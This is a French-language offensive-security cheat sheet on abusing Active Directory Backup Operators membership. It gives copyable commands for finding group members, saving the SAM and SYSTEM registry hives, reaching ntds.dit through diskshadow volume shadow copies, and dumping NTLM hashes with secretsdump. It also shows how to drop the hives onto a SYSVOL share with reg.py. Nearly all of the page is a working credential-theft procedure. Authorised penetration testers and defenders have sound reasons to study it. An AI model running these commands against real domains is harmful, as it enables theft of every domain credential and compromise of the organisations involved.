Exploitation

Backup Operator

Abus du groupe Backup Operators pour extraire SAM, SYSTEM et ntds.dit.

Copy command

nxc ldap $DC -u $USER -p $PASS -M get-desc-users | grep -i backup

Description: Identifier les comptes membres du groupe Backup Operators via les descriptions.

Copy command

bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS get members 'Backup Operators'

Description: Lister les membres actuels du groupe Backup Operators.

Copy command

reg save HKLM\SAM C:\Temp\SAM && reg save HKLM\SYSTEM C:\Temp\SYSTEM

Description: Backup Operator peut sauvegarder SAM et SYSTEM : extraction locale des hashes NTLM.

Copy command

secretsdump.py -sam SAM -system SYSTEM LOCAL

Description: Extraire les hashes depuis les fichiers SAM/SYSTEM sauvegardés en local.

Copy command

diskshadow.exe /s shadow.dsl

Description: Utiliser VSS via diskshadow pour accéder à ntds.dit en contournant les verrous NTFS.

Copy command

secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

Description: Extraire tous les hashes du domaine depuis ntds.dit + SYSTEM récupérés via VSS.

Copy command

reg.py -k $CCACHE -no-pass '$DOMAIN/$USER@$DC' backup -o '\\$DC\SYSVOL\$DOMAIN\scripts'

Description: Sans accès en écriture direct sur le disque de la cible, SYSVOL (souvent inscriptible par des comptes standards sur un sous-dossier scripts) sert de dropzone : reg.py backup (SeBackupPrivilege hérité de Backup Operators) y dépose SAM/SYSTEM/SECURITY directement via un partage déjà accessible.